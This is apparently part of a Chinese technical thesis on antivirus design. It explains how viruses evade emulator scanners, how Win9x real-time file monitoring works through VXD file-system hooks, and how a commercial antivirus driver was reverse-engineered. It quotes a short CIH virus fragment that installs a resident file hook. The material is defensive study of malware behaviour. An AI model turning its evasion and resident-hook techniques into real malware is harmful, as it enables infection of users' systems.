再次是入口点模糊（EPO）技术，即病毒在不修改宿主原入口点的前提下，通过在宿主代码体内某处插入跳转指令来使病毒获得控制权。通过前面的分析，我们知道虚拟机扫描病毒时出于效率考虑不可能虚拟执行待查文件的所有代码，通常的做法是：扫描待查文件代码入口，假如在规定步数中没有发现解密循环，则由此判定该文件没有携带加密变形病毒。这种技术之所以能起到反虚拟执行的作用在于它正好利用了虚拟机的这个假设：由于病毒是从宿主执行到一半时获得控制权的，所以虚拟机首先解释执行的是宿主入口的正常程序，当然在规定步数中不可能发现解密循环，因而产生了漏报。如果虚拟机能增加规定步数的大小，则很有可能随着病毒插入的跳转指令跟踪进入病毒的解密子，但确定规定步数大小实在是件难事：太大则将无谓增加正常程序的检测时间；太小则容易产生漏报。但我们对此也不必过于担心，这类病毒由于其编写技术难度较大所以为数不多。在没有反汇编和虚拟执行引擎的帮助下，病毒很难在宿主体内定位一条完整指令的开始处来插入跳转，同时很难保证插入的跳转指令的深度大于虚拟机的规定步数，并且没有把握插入的跳转指令一定会被执行到。
另外还有多线程技术，即病毒在解密部分入口主线程中又启动了额外的工作线程，并且将真正的循环解密代码放置于工作线程中运行。由于多线程间切换调度由操作系统负责管理，所以我们的虚拟机只能在假定被执行线程独占处理器时间，即保证永远不被抢先，的前提下进行。如此一来，虚拟机对于模拟启用多线程工作的代码将很难做到与真实效果一致。多线程和结构化异常处理两种技术都利用了特定的操作系统机制来达到反虚拟执行的目的，所以在虚拟CPU中加入对特定操作系统机制的支持将是我们今后改进的目标。
最后是元多形技术（MetaPolymorphy）,即病毒中并非是多形的解密子加加密的病毒体结构，而整体均采用变形技术。这种病毒整体都在变，没有所谓“病毒体明文”。当然，其编写难度是很大的。如果说前几种反虚拟机技术是利用了虚拟机设计上的缺陷，可以通过代码改进来弥补的话，那么这种元多形技术却使虚拟机配合的动态特征码扫描法彻底失效了，我们必须寻求如行为分析等更先进的方法来解决。

3．病毒实时监控
3.1实时监控概论
实时监控技术其实并非什么新技术，早在DOS编程时代就有之。只不过那时人们没有给这项技术冠以这样专业的名字而已。早期在各大专院校机房中普遍使用的硬盘写保护软件正是利用了实时监控技术。硬盘写保护软件一般会将自身写入硬盘零磁头开始的几个扇区（由0磁头0柱面1扇最开始的64个扇区是保留的，DOS访问不到）并修改原来的主引导记录以使启动时硬盘写保护程序可以取得控制权。引导时取得控制权的硬盘写保护程序会修改INT13H的中断向量指向自身已驻留于内存中的钩子代码以便随时拦截所有对磁盘的操作。钩子代码的作用当然是很明显的，它主要负责由判断中断入口参数，包括功能号，磁盘目标地址等来决定该类型操作是否被允许，这样就可以实现对某一特定区域的写操作保护。后来又诞生了在此基础之上进行改进了的磁盘恢复卡之类的产品，其利用将写操作重定向至目标区域外的临时分区并保存磁盘先前状态等技术来实现允许写入并可随时恢复之功能。不管怎么改进，这类产品的核心技术还是对磁盘操作的实时监控。对此有兴趣的朋友可参看高云庆著《硬盘保护技术手册》。DOS下还有许多通过驻留并截获一些有用的中断来实现某种特定目的的程序，我们通常称之为TSR（终止并等待驻留terminate-and-stay-resident，此种程序不容易编好，需要大量的关于硬件和Dos中断的知识，还要解决Dos重入，tsr程序重入等问题，搞不好就会当机）。在WINDOWS下要实现实时监控决非易事，普通用户态程序是不可能监控系统的活动的，这也是出于系统安全的考虑。HPS病毒能在用户态下直接监控系统中的文件操作其实是由于WIN9X在设计上存在漏洞。而我们下面要讨论的两个病毒实时监控（For WIN9X&WINNT/2000）都使用了驱动编程技术，让工作于系统核心态的驱动程序去拦截所有的文件访问。当然由于工作系统的不同，这两个驱动程序无论从结构还是工作原理都不尽相同的，当然程序写法和编译环境更是千差万别了，所以我们决定将其各自分成独立的一节来详细地加以讨论。上面提到的病毒实时监控其实就是对文件的监控，说成是文件监控应该更为合理一些。除了文件监控外，还有各种各样的实时监控工具，它们也都具有各自不同的特点和功用。这里向大家推荐一个关于WINDOWS系统内核编程的站点:www.sysinternals.com。在其上可以找到很多实时监控小工具，比如能够监视注册表访问的Regmon（通过修改系统调用表中注册表相关服务入口），可以实时地观察TCP和UDP活动的Tdimon（通过hook系统协议驱动Tcpip.sys中的dispatch函数来截获tdi clinet向其发送的请求），这些工具对于了解系统内部运作细节是很有裨益的。介绍完有关的背景情况后，我们来看看关于病毒 实时监控的具体实现技术的情况。
3.2病毒实时监控实现技术概论
正如上面提到的病毒实时监控其实就是一个文件监视器，它会在文件打开，关闭，清除，写入等操作时检查文件是否是病毒携带者，如果是则根据用户的决定选择不同的处理方案，如清除病毒，禁止访问该文件，删除该文件或简单地忽略。这样就可以有效地避免病毒在本地机器上的感染传播，因为可执行文件装入器在装入一个文件执行时首先会要求打开该文件，而这个请求又一定会被实时监控在第一时间截获到，它确保了每次执行的都是干净的不带毒的文件从而不给病毒以任何执行和发作的机会。以上说的仅是病毒实时监控一个粗略的工作过程，详细的说明将留到后面相应的章节中。病毒实时监控的设计主要存在以下几个难点：
其一是驱动程序的编写不同于普通用户态程序的写作，其难度很大。写用户态程序时你需要的仅仅就是调用一些熟知的API函数来完成特定的目的，比如打开文件你只需调用CreateFile就可以了；但在驱动程序中你将无法使用熟悉的CreateFile。在NT/2000下你可以使用ZwCreateFile或NtCreateFile（native API），但这些函数通常会要求运行在某个IRQL（中断请求级）上，如果你对如中断请求级，延迟/异步过程调用，非分页/分页内存等概念不是特别清楚，那么你写的驱动将很容易导致蓝屏死机（BSOD），Ring0下的异常将往往导致系统崩溃，因为它对于系统总是被信任的，所以没有相应处理代码去捕获这个异常。在NT下对KeBugCheckEx的调用将导致蓝屏的出现，接着系统将进行转储并随后重启。另外驱动程序的调试不如用户态程序那样方便，用象VC++那样的调试器是不行的，你必须使用系统级调试器，如softice,kd,trw等。
其二是驱动程序与ring3下客户程序的通信问题。这个问题的提出是很自然的，试想当驱动程序截获到某个文件打开请求时，它必须通知位于ring3下的查毒模块检查被打开的文件，随后查毒模块还需将查毒的结果通过某种方式传给ring0下的监控程序，最后驱动程序根据返回的结果决定请求是否被允许。这里面显然存在一个双向的通信过程。写过驱动程序的人都知道一个可以用来向驱动程序发送设备I/O控制信息的API调用DeviceIoControl，它的接口在MSDN中可以找到，但它是单向的，即ring3下客户程序可以通过调用DeviceIoControl将某些信息传给ring0下的监控程序但反过来不行。既然无法找到一个现成的函数实现从ring0下的监控程序到ring3下客户程序的通信，则我们必须采用迂回的办法来间接做到这一点。为此我们必须引入异步过程调用（APC）和事件对象的概念，它们就是实现特权级间唤醒的关键所在。现在先简单介绍一下这两个概念，具体的用法请参看后面的每子章中的技术实现细节。异步过程调用是一种系统用来当条件合适时在某个特定线程的上下文中执行一个过程的机制。当向一个线程的APC队列排队一个APC时，系统将发出一个软件中断，当下一次线程被调度时，APC函数将得以运行。APC分成两种：系统创建的APC称为内核模式APC，由应用程序创建的APC称为用户模式APC。另外只有当线程处于可报警（alertable）状态时才能运行一个APC。比如调用一个异步模式的ReadFileEx时可以指定一个用户自定义的回调函数FileIOCompletionRoutine，当异步的I/O操作完成或被取消并且线程处于可报警状态时函数被调用，这就是APC的典型用法。Kernel32.dll中导出的QueueUserAPC函数可以向指定线程的队列中增加一个APC对象，因为我们写的是驱动程序，这并不是我们要的那个函数。很幸运的是在Vwin32.vxd中导出了一个同名函数QueueUserAPC，监控程序拦截到一个文件打开请求后，它马上调用这个服务排队一个ring3下客户程序中需要被唤醒的函数的APC，这个函数将在不久客户程序被调度时被调用。这种APC唤醒法适用于WIN9X，在WINNT/2000下我们将使用全局共享的事件和信号量对象来解决互相唤醒问题。有关WINNT/2000下的对象组织结构我将在3.4.2节中详细说明。NT/2000版监控程序中我们将利用KeReleaseSemaphore来唤醒一个在ring3下客户程序中等待的线程。目前不少反病毒软件已将驱动使用的查毒模块移到ring0，即如其所宣传的“主动与操作系统无缝连接”，这样做省却了通信的消耗，但把查毒模块写成驱动形式也同时会带来一些麻烦，如不能调用大量熟知的API，不能与用户实时交互，所以我们还是选择剖析传统的反病毒软件的监控程序。
其三是驱动程序所占用资源问题。如果由于监控程序频繁地拦截文件操作而使系统性能下降过多，则这样的程序是没有其存在的价值的。本论文将对一个成功的反病毒软件的监控程序做彻底的剖析，其中就包含有分析其用以提高自身性能的技巧的部分，如设置历史记录，内置文件类型过滤，设置等待超时等。
3.3WIN9X下的病毒实时监控
3.3.1实现技术详解
WIN9X下病毒实时监控的实现主要依赖于虚拟设备驱动（VXD）编程，可安装文件系统钩挂（IFSHook），VXD与ring3下客户程序的通信（APC/EVENT）三项技术。
我们曾经提到过只有工作于系统核心态的驱动程序才具有有效地完成拦截系统范围文件操作的能力，VXD就是适用于WIN9X下的虚拟设备驱动程序，所以正可当此重任。当然，VXD的功能远不止由IFSMGR.vxd提供的拦截文件操作这一项，系统的VXDs几乎提供了所有的底层操作的接口--可以把VXD看成ring0下的DLL。虚拟机管理器本身就是一个VXD，它导出的底层操作接口一般称为VMM服务，而其他VXD的调用接口则称为VXD服务。
二者ring0调用方法均相同，即在INT20（CD 20）后面紧跟着一个服务识别码，VMM会利用服务识别码的前半部分设备标识--Device Id找到对应的VXD，然后再利用服务识别码的后半部分在VXD的服务表（Service Table）中定位服务函数的指针并调用之：
CD 20 INT 20H
01 00 0D 00 DD VKD_Define_HotKey
这条指令第一次执行后，VMM将以一个同样6字节间接调用指令替换之（并不都是修正为CALL指令，有时会利用JMP指令），从而省却了查询服务表的工作：
FF 15 XX XX XX XX CALL [$VKD_Define_HotKey]
必须注意，上述调用方法只适用于ring0，即只是一个从VXD中调用VXD/VMM服务的ring0接口。VXD还提供了V86（虚拟8086模式），Win16保护模式，Win32保护模式调用接口。其中V86和Win16保护模式的调用接口比较奇怪：
XOR DI DI
MOV ES,DI
MOV AX,1684 ；INT 2FH,AX = 1684H-->取得设备入口
MOV BX,002A ；002AH = VWIN32.VXD的设备标识
INT 2F
MOV AX,ES ；现在ES:DI中应该包含着入口
OR AX,AX
JE failure
MOV AH,00 ；VWIN32 服务 0 = VWIN32_Get_Version
PUSH DS
MOV DS,WORD PTR CS:[0002]
MOV WORD PTR [lpfnVMIN32],DI
MOV WORD PTR [lpfnVMIN32+2],ES ；保存ES和DI
CALL FAR [lpfnVMIN32] ；call gate（调用门）
ES:DI指向了3B段的一个保护模式回调：
003B：000003D0 INT 30 ；#0028:C025DB52 VWIN32（04）+0742
INT30强迫CPU从ring3提升到ring0，然后WIN95的INT30处理函数先检查调用是否发自3B段，如是则利用引发回调的CS:IP索引一个保护模式回调表以求得一个ring0地址。本例中是0028:C025DB52 ，即所需服务VWIN32_Get_Version的入口地址。
VXD的Win32保护模式调用接口我们在前面已经提到过。一个是DeviceIoControl，我们的ring3客户程序利用它来和监控驱动进行单向通信；另一个是VxdCall，它是Kernel32.dll的一个未公开的调用，被系统频繁使用，对我们则没有多大用处。
你可以参看WIN95DDK的帮助，其中对每个系统VXD提供的调用接口均有详细说明，可按照需要选择相应的服务。
可安装文件系统钩挂（IFSHook）就源自IFSMGR.VXD提供的一个服务IFSMgr_InstallFileSystemApiHook，利用这个服务驱动程序可以向系统注册一个钩子函数。以后系统中所有文件操作都会经过这个钩子的过滤，WIN9X下文件读写具体流程如下：
在读写操作进行时，首先通过未公开函数EnterMustComplete来增加MUSTCOMPLETECOUNT变量的记数，告诉操作系统本操作必须完成。该函数设置了KERNEL32模块里的内部变量来显示现在有个关键操作正在进行。有句题外话，在VMM里同样有个函数，函数名也是EnterMustComplete。那个函数同样告诉VMM，有个关键操作正在进行。防止线程被杀掉或者被挂起。
接下来，WIN9X进行了一个_MapHandleWithContext(又是一个未公开函数)操作。该操作本身的具体意义尚不清楚，但是其操作却是得到HANDLE所指对象的指针，并且增加了引用计数。
随后，进行的乃是根本性的操作：KERNEL32发出了一个调用VWIN32_Int21Dispatch的VxdCall。陷入VWIN32后，其 检查调用是否是读写操作。若是，则根据文件句柄切换成一个FSD能识别的句柄，并调用IFSMgr_Ring0_FileIO。接下来任务就转到了IFS MANAGER。
IFS MANAGER生成一个IOREQ，并跳转到Ring0ReadWrite内部例程。Ring0ReadWrite检查句柄有效性，并且获取FSD在创建文件句柄时返回的CONTEXT，一起传入到CallIoFunc内部例程。CallIoFunc检查IFSHOOK的存在，如果不存在，IFS MANAGER生成一个缺省的IFS HOOK，并且调用相应的VFatReadFile/VFatWriteFile例程(因为目前 MS本身仅提供了VFAT驱动)；如果IFSHOOK存在，则IFSHOOK函数得到控制权，而IFS MANAGER本身就脱离了文件读写处理。然后，调用被层层返回。KERNEL32调用未公开函数LeaveMustComplete，减少MUSTCOMPLETECOUNT计数，最终回到调用者。
由此可见通过IFSHook拦截本地文件操作是万无一失的，而通过ApiHook或VxdCall拦截文件则多有遗漏。著名的CIH病毒正是利用了这一技术，实现其驻留感染的，其中的代码片段如下：
lea eax, FileSystemApiHook-@6[edi] ；取得欲安装的钩子函数的地址
push eax
int 20h ；调用IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h
mov dr0, eax ；保存前一个钩子的地址
pop eax
正如我们看到的，系统中安装的所有钩子函数呈链状排列。最后安装的钩子，最先被系统调用。我们在安装钩子的同时必须将调用返回的前一个钩子的地址暂存以便在完成处理后向下传递该请求：
mov eax, dr0 ；取得前一个钩子的地址
jmp [eax] ； 跳到那里继续执行
对于病毒实时监控来说，我们在安装钩子时同样需要保存前一个钩子的地址。如果文件操作的对象携带了病毒，则我们可以通过不调用前一个钩子来简单的取消该文件请求；反之，我们则需及时向下传递该请求，若在钩子中滞留的时间过长--用于等待ring3级查毒模块的处理反馈--则会使用户明显感觉系统变慢。
至于钩子函数入口参数结构和怎样从参数中取得操作类型（如IFSFN_OPEN）和文件名（以UNICODE形式存储）请参看相应的代码剖析部分。
我们所需的另一项技术--APC/EVENT也是源自一个VXD导出的服务，这便是著名的VWIN32.vxd。这个奇怪的VXD导出了许多与WIN32 API对应的服务：如_VWIN32_QueueUserApc，_VWIN32_WaitSingleObject，_VWIN32_ResetWin32Event，_VWIN32_Get_Thread_Context，_VWIN32_Set_Thread_Context 等。这个VXD叫虚拟WIN32，大概名称即是由此而来的。虽然服务的名称与WIN32 API一样，但调用规则却大相径庭，千万不可用错。_VWIN32_QueueUserApc用来注册一个用户态的APC，这里的APC函数当然是指我们在ring3下以可告警状态睡眠的待查毒线程。ring3客户程序首先通过IOCTL把待查毒线程的地址传给驱动程序，然后当钩子函数拦截到待查文件时调用此服务排队一个APC，当ring3客户程序下一次被调度时，APC例程得以执行。_VWIN32_WaitSingleObject则用来在某个对象上等待，从而使当前ring0线程暂时挂起。我们的ring3客户程序先调用WIN32 API--CreateEvent创建一组事件对象，然后通过一个未公开的API--OpenVxdHandle将事件句柄转化为VXD可辩识的句柄（其实应是指向对象的指针）并用IOCTL发给ring0端VXD，钩子函数在排队APC后调用_VWIN32_WaitSingleObject在事件的VXD句柄上等待查毒的完成，最后由ring3客户程序在查毒完毕后调用WIN32 API--SetEvent来解除钩子函数的等待。
当然，这里面存在着一个很可怕的问题：如果你按照的我说的那样去做，你会发现它会在一端时间内工作正常，但时间一长，系统就被挂起了。就连驱动编程大师Walter Oney在其著作《System Programming For Windows 95》的配套源码的说明中也称其APC例程在某些时候工作会不正常。而微软的工程师声称文件操作请求是不能被中断掉的，你不能在驱动中阻断文件操作并依赖于ring3的反馈来做出响应。网上关于这个问题也有一些讨论，意见不一：有人认为当系统DLL--KERNEL32在其调用ring0处理文件请求时拥有一个互斥量（MUTEX），而在某些情况下为了处理APC要拥有同样的互斥量，所以死锁发生了；还有人认为尽管在WIN9X下32位线程是抢先多任务的，但Win16子系统是以协作多任务来运行的。为了能平滑的运行老的16位程序，它引入了一个全局的互斥量--Win16Mutex。任何一个16位线程在其整个生命周期中都拥有Win16Mutex而32位线程当它转化成16位代码也要攫取此互斥量，因为WIN9X内核是16位的,如Knrl386.exe,gdi.exe。如果来自于拥有Win16Mutex的线程的文件请求被阻塞，系统将陷入死锁状态。这个问题的正确答案似乎在没有得到WIN9X源码的之前永远不可能被证实，但这是我们实时监控的关键，所以必须解决。
我通过跟踪WIN95文件操作的流程，并反复做实验验证，终于找到了一个比较好的解决办法：在拦截到文件请求还没有排队APC之前我们通过Get_Cur_Thread_Handle取得当前线程的ring0tcb，从中找到TDBX，再在TDBX中取得ring3tcb根据其结构，我们从偏移44H处得到Flags域值，我发现如果它等于10H和20H时容易导致死锁，这只是一个实验结果，理由我也说不清楚，大概是这样的文件请求多来自于拥有Win16Mutex的线程，所以不能阻塞；另外一个根本的解决方法是在调用_VWIN32_WaitSingleObject时指定超时，如果在指定时间里没有收到ring3的唤醒信号，则自动解除等待以防止死锁的发生。
以上对WIN9X下的实时监控的主要技术都做了详细的阐述。当然，还有一部分关于VXD的结构，编写和编译的方法由于篇幅的关系不可能在此一一说明。需要了解更详细内容的，请参看Walter Oney的著作《System Programming For Windows 95》，此书尚有台湾候俊杰翻译版《Windows 95系统程式设计》。
3.3.2程序结构与流程
以下的程序结构与流程分析来自一著名反病毒软件的WIN9X实时监控虚拟设备驱动程序Hooksys.vxd：
1.当VXD收到来自VMM的ON_SYS_DYNAMIC_DEVICE_INIT消息--需要注意这是个动态VXD，它不会收到系统虚拟机初始化时发送的Sys_Critical_Init, Device_Init和Init_Complete控制消息--时，它开始初始化一些全局变量和数据结构，包括在堆上分配内存（HeapAllocate），创建备用，历史记录，打开文件，等待操作，关闭文件5个双向循环链表及用于链表操作互斥的5个信号量（调用Create_Semaphore），同时将全局变量_gNumOfFilters即文件名过滤项个数设置为0。
2.当VXD收到来自VMM的ON_W32_DEVICEIOCONTROL消息时，它会从入口参数中取得用户程序利用DeviceIoControl传送进来的IO控制代码（IOCtlCode），以此判断用户程序的意图。和Hooksys.vxd协同工作的ring3级客户程序guidll.dll会依次向Hooksys.vxd发送IO控制请求来完成一系列工作，具体次序和代码含义如下：
83003C2B：将guidll取得的操作系统版本传给驱动（保存在iOSversion变量中），根据此变量值的不同，从ring0tcb结构中提取某些域时将采用不同的偏移，因为操作系统版本不同会影响内核数据结构。
83003C1B：初始化后备链表，将guidll传入的用OpenVxdHandle转换过的一组事件指针保存在每个链表元素中。
83003C2F：将guidll取得的驱动器类型值传给驱动（保存在DriverType变量中），根据此变量值的不同，调用VWIN32_WaitSingleObject设置不同的等待超时值，因为非固定驱动器的读写时间可能会稍长些。
83003C0F：保存guidll传送的用户指定的拦截文件的类型，其实这个类型过滤器在查毒模块中已存在，这里再设置显然是为了提高处理效率：它确保不会将非指定类型文件送到ring3级查毒模块，节省了通信的开销。经过解析的各文件类型过滤块指针将保存在_gaFileNameFilterArra数组中，同时更新过滤项个数_gNumOfFilters 变量的值。
83003C23：保存guidll中等待查杀打开文件的APC函数地址和当前线程KTHREAD指针。
83003C13：安装系统文件钩子，启动拦截文件操作的钩子函数FilemonHookProc的工作。
83003C27：保存guidll中等待查杀关闭文件的APC函数地址和当前线程KTHREAD指针。
83003C17：卸载系统文件钩子，停止拦截文件操作的钩子函数FilemonHookProc的工作。
以上列出的IO控制代码的发出是固定，而当钩子函数启动后，还会发出一些随机的控制代码：
83003C07：驱动将打开文件链表的头元素即最先的请求打开的文件删除并插入到等待链表尾部，同时将元素的用户空间地址传送至ring3级等待查杀打开文件的APC函数中处理。
83003C0B：驱动将关闭文件链表的头元素即最先的请求关闭的文件删除并插入到备用链表尾部，同时将元素中的文件名串传送至ring3级等待查杀关闭文件的APC函数中处理
83003C1F：当查得关闭文件是病毒时，更新历史记录链表。
下面介绍钩子函数和guidll中等待查杀打开文件的APC函数协同工作流程，写文件和关闭文件的处理与之类似：
当文件请求进入钩子函数FilemonHookProc后，它先从入口参数中取得被执行的函数的代号并判断其是否为打开操作（IFSFN_OPEN 24H），若非则马上将这个IRQ向下传递，即构造入口参数并调用保存在PrevIFSHookProc中前一个钩子函数；若是则程序流程转向打开文件请求的处理分支。分支入口处首先要判断当前进程是否是我们自己，若是则必须放过去，因为查毒模块中要频繁的进行文件操作，所以拦截来自自身的文件请求将导致严重的系统死锁。接下来是从堆栈参数中取得完整的文件路径名并通过保存的文件类型过滤阵列检查其是否在拦截类型之列，如通过则进一步检查文件是否是以下几个须放过的文件之一：SYSTEM.DAT，USER.DAT，\PIPE\。然后查找历史记录链表以确定该文件是否最近曾被检查并记录过，若在历史记录链表中找到关于该文件的记录并且记录未失效即其时间戳和当前系统时间之差不得大于1F4h，则可直接从记录中读取查毒结果。至此才进入真正的检查打开文件函数_RAVCheckOpenFile，此函数入口处先从备用，等待或关闭链表头部摘得一空闲元素（_GetFreeEntry）并填充之（文件路径名域等）。接着通过一内核未公开的数据结构中的值（ring3tcb->Flags）判断可否对该文件请求排队APC。如可则将空闲元素加入打开文件链表尾部并排队一个ring3级检查打开文件函数的APC。然后调用_VWIN32_WaitSingleObject在空闲元素中保存的一个事件对象上等待ring3查毒的完成。当钩子函数挂起不久后，ring3的APC函数得到执行：它会向驱动发出一IO控制码为83003C07的请求以取得打开文件链表头元素即保存最先提交而未决的文件请求，驱动可以将内核空间中元素的虚拟地址直接传给它而不必考虑将之重新映射。实际上由于WIN9X内核空间没有页保护因而ring3级程序可以直接读写之。接着它调用RsEngine.dll中的fnScanOneFile函数进行查毒并在元素中设置查毒结果位，完毕后再对元素中保存的事件对象调用SetEvent唤醒在此事件上等待的钩子函数。被唤醒的钩子函数检查被ring3查毒代码设置的结果位以此决定该文件请求是被采纳即继续向下传递还是被取消即在EAX中放入-1后直接返回，同时增加历史记录。
以上只是钩子函数与APC函数流程的一个简单介绍，其中省略了诸如判断固定驱动器，超时等内容，具体细节请参看 guidll.dll和hooksys.vxd的反汇编代码注释。
3.当VXD收到来自VMM的ON_SYS_DYNAMIC_DEVICE_EXIT消息时，它释放初始化时分配的堆内存（HeapFree），并清除5个用于互斥的信号量（Destroy_Semaphore）。
3.3.3HOOKSYS.VXD逆向工程代码剖析
在剖析代码之前有必要介绍一下逆向工程的概念。逆向工程（Reverse Engineering）是指在没有源代码的情况下对可执行文件进行反汇编试图理解机器码本身的含义。逆向工程的用途很多，如摘掉软件保护，窥视其设计和编写技术，发掘操作系统内部奥秘等。本文中我们用到的不少未公开数据结构和服务就是利用逆向的方法得到的。逆向工程的难度可想而知：一个1K大小的exe文件反汇编后就有1000行左右，而我们要逆向的3个文件加起来有80多K，总代码量是8万多行。所以必须掌握一定的逆向技巧，否则工作起来将是非常困难的。
首先要完成逆向工作，必须选择优秀的反汇编及调试跟踪工具。IDA（The Interactive Disassembler）是一款功能强大的反汇编工具：它以交互能力强而著称，允许使用者增加标签，注释及定义变量，函数名称；另外不少反汇编工具对于特殊处理的反逆向文件，如导入节损坏等显得无能为力，但IDA仍可胜任之。当文件被加过壳或插入了干扰指令时 就需要使用调试工具进行动态跟踪。Numega公司的Softice是调试工具中的佼佼者：它支持所有类型的可执行文件，包括vxd和sys驱动程序，能够用热键实时呼出，可对代码执行，内存和端口访问设置断点，总之功能非常之强大以至于连微软总裁比尔盖茨对此都惊叹不已。
其次需要对编译器常用的编译结构有一定了解，这样有助于我们理解代码的含义。
如下代码是MS编译器常用的一种编译高级语言函数的形式：
0001224A push ebp ；保存基址寄存器
0001224B mov ebp, esp
0001224D sub esp, 5Ch ；在堆栈留出局部变量空间
00012250 push ebx
00012251 push esi
00012252 push edi
......
0001225B lea edi, [ebp-34h] ；引用局部变量
......
0001238D mov esi, [ebp+08h] ；引用参数
......
00012424 pop edi
00012425 pop esi
00012426 pop ebx
00012427 leave
00012428 retn 8 ；函数返回
如下代码是MS编译器常用的一种编译高级语言取串长度的形式：
0001170D lea edi, [eax+1Ch] ；串首地址指针
00011710 or ecx, 0FFFFFFFFh ；将ecx置为-1
00011713 xor eax, eax ；扫描串结束符号（NULL）
00011715 push offset 00012C04h ；编译器优化
0001171A repne scasb ；扫描串结束符号位置
0001171C not ecx ；取反后得到串长度
0001171E sub edi, ecx ；恢复串首地址指针
最后一点是必须要有坚忍的毅力和清晰的头脑。逆向工程本身是件痛苦的工作：高级语言源代码中使用的变量和函数名字在这里仅是一个地址，需要反复调试琢磨才能确定其含义；另外编译器优化更为我们理解代码增加了不少障碍，如上例中那句压栈指令是将后面函数调用时参数入栈提前放置。所以毅力和头脑二者缺一不可。
以下进入hooksys.vxd代码剖析，由于代码过于庞大，我只选择有代表性且精彩的部分进行介绍。代码中的变量和函数及标签名是我分析后自己添加的，可能会与原作者的意图有些出入。
3.3.3.1钩子函数入口代码
C00012E0 push ebp
C00012E1 mov ebp, esp
C00012E3 sub esp, 11Ch
C00012E9 push ebx
C00012EA push esi
C00012EB push edi
C00012EC mov eax, [ebp+arg_4] ； 被执行的函数的代号
C00012EF mov [ebp+var_11C], eax
C00012F5 cmp [ebp+var_11C], 1 ； IFSFN_WRITE
C00012FC jz writefile
C0001302 cmp [ebp+var_11C], 0Bh ； IFSFN_CLOSE
C0001309 jz closefile
C000130F cmp [ebp+var_11C], 24h ； IFSFN_OPEN
C0001316 jz short openfile
C0001318 jmp irqpassdown
钩子函数入口处，堆栈参数分布如下：
ebp+00h -> 保存的EBP值.
ebp+04h -> 返回地址.
ebp+08h -> 提供这个API要调用的FSD函数的的地址
ebp+0Ch -> 提供被执行的函数的代号
ebp+10h -> 提供了操作在其上执行的以1为基准的驱动器代号（如果UNC为-1)
ebp+14h -> 提供了操作在其上执行的资源的种类。
ebp+18h -> 提供了用户串传递其上的代码页
ebp+1Ch -> 提供IOREQ结构的指针。
钩子函数利用[ebp+0Ch]中保存的被执行的函数的代号来判断该请求的类型。同时它利用[ebp+0Ch]中保存的IOREQ结构的指针从该结构中偏移0ch处path_t ir_ppath域取得完整的文件路径名称。
3.3.3.2取得当前进程名称代码
C0000870 push ebx
C0000871 push esi
C0000872 push edi
C0000873 call VWIN32_GetCurrentProcessHandle ；在eax中返回ring0 PDB（进程数据库）
C0000878 mov eax, [eax+38h] ；HTASK W16TDB
；偏移38h处是Win16任务数据库选择子
C000087B push 0 ；DWORD Flags
C000087D or al,
C000087F push eax ；DWORD Selector
C0000880 call Get_Sys_VM_Handle@0
C0000885 push eax ；取得系统VM的句柄 VMHANDLE hVM
C0000886 call _SelectorMapFlat ；将选择子基址映射为平坦模式的线形地址
C000088B add esp, 0Ch
C000088E cmp eax, 0FFFFFFFFh ；映射错误
C0000891 jnz short loc_C0000899
......
C0000899 lea edi, [eax+0F2h] ；从偏移0F2h取得模块名称
；char TDB_ModName[8]
3.3.3.3通信部分代码
hooksys.vxd中代码：
C00011BC push ecx ；客户程序的ring0线程句柄
C00011BD push ebx ；传入APC的参数
C00011BE push edx ；ring3级APC函数的平坦模式地址
C00011BF call _VWIN32_QueueUserApc ；排队APC
C00011C4 mov eax, [ebp+0Ch] ；事件对象的ring0句柄
C00011C7 push eax
C00011C8 call _VWIN32_ResetWin32Event；设置事件对象为无信号态
......
C00011E7 mov eax, [ebp+0Ch]
C00011EA push 3E8h ；超时设置
C00011EF push eax ；事件对象的ring0句柄
C00011F0 call _VWIN32_WaitSingleObject ；等待ring3查毒的完成
guidll.dll中代码：
APC函数入口：
10001AD1 mov eax, hDevice ；取得设备句柄
10001AD6 lea ecx, [esp+4]
10001ADA push 0
10001ADC push ecx ；返回字节数
10001ADD lea edx, [esp+8]
10001AE1 push 4 ；输出缓冲区大小
10001AE3 push edx ；输出缓冲区指针
10001AE4 push 0 ；输入缓冲区大小
10001AE6 push 0 ；输入缓冲区指针
10001AE8 push 83003C07h ；IO控制代码
10001AED push eax ；设备句柄
10001AEE call ds:DeviceIoControl
10001AF4 test eax, eax
10001AF6 jz short loc_10001B05
10001AF8 mov ecx, [esp+0] ；得到打开文件链表头元素
10001AFC push ecx
10001AFD call ScanOpenFile ；调用查毒函数
ScanOpenFile函数中：
1000185D call ds:fnScanOneFile ；调用真正查毒库导出函数
10001863 mov edx, hMutex
10001869 add esp, 8
1000186C mov esi, eax ；查毒结果
1000186E push edx
1000186F call ds:ReleaseMutex
10001875 test esi, esi ；检查结果
10001877 jnz short OpenFileIsVirus ；如发现病毒则跳到OpenFileIsViru进一步处理
10001879 mov eax, [ebp+10h] ；事件对象的ring3句柄
1000187C mov byte ptr [ebp+16h], 0 ；设置元素中的结果位为无病毒
10001880 push eax
10001881 call ds:SetEvent ；设置事件对象为有信号态唤醒钩子函数
3.4WINNT/2000下的病毒实时监控
3.4.1实现技术详解
WINNT/2000下病毒实时监控的实现主要依赖于NT内核模式驱动编程，拦截IRP，驱动与ring3下客户程序的通信（命名的事件与信号量对象）三项技术。程序的设计思路和大体流程与前面介绍的WIN9X下病毒实时监控非常相似，只是在实现技术由于运行环境的不同将呈现很大的区别。
WINNT/2000下不再支持VXD，我将在后面剖析的hooksys.sys其实是一种称为NT内核模式设备驱动的驱动程序。这种驱动程序无论从其结构还是工作方式都与VXD有很大不同。比较而言，NT内核模式设备驱动的编写比VXD难度更大：因为它要求编程者熟悉WINNT/2000的整体架构和运行机制，NT/2000是纯32位微内核操作系统，与WIN9X有很大区别；能灵活使用内核数据结构，如驱动程序对象，设备对象，文件对象，IO请求包，执行体进程/线程块，系统服务调度表等。另外编程者在编程时还需注意许多重要事项，如当前系统运行的IO请求级，分页/非分页内存等。
这里首先介绍几个重要的内核数据结构，它们在NT内核模式设备驱动的编程中经常被用到，包括文件对象，驱动程序对象，设备对象，IO请求包（IRP），IO堆栈单元（IO_STACK_LOCATION）：
文件明显符合NT中的对象标准：它们是两个或两个以上用户态进程的线程可以共享的系统资源；它们可以有名称；它们被基于对象的安全性所保护；并且它们支持同步。对于用户态受保护的子系统，文件对象通常代表一个文件，设备目录，或卷的打开实例；而对于设备和中间型驱动，文件对象通常代表一个设备。文件对象结构中的域大部分是透明的驱动可以访问的域包括：
PDEVICE_OBJECT DeviceObject：指向文件于其上被打开的设备对象的指针。
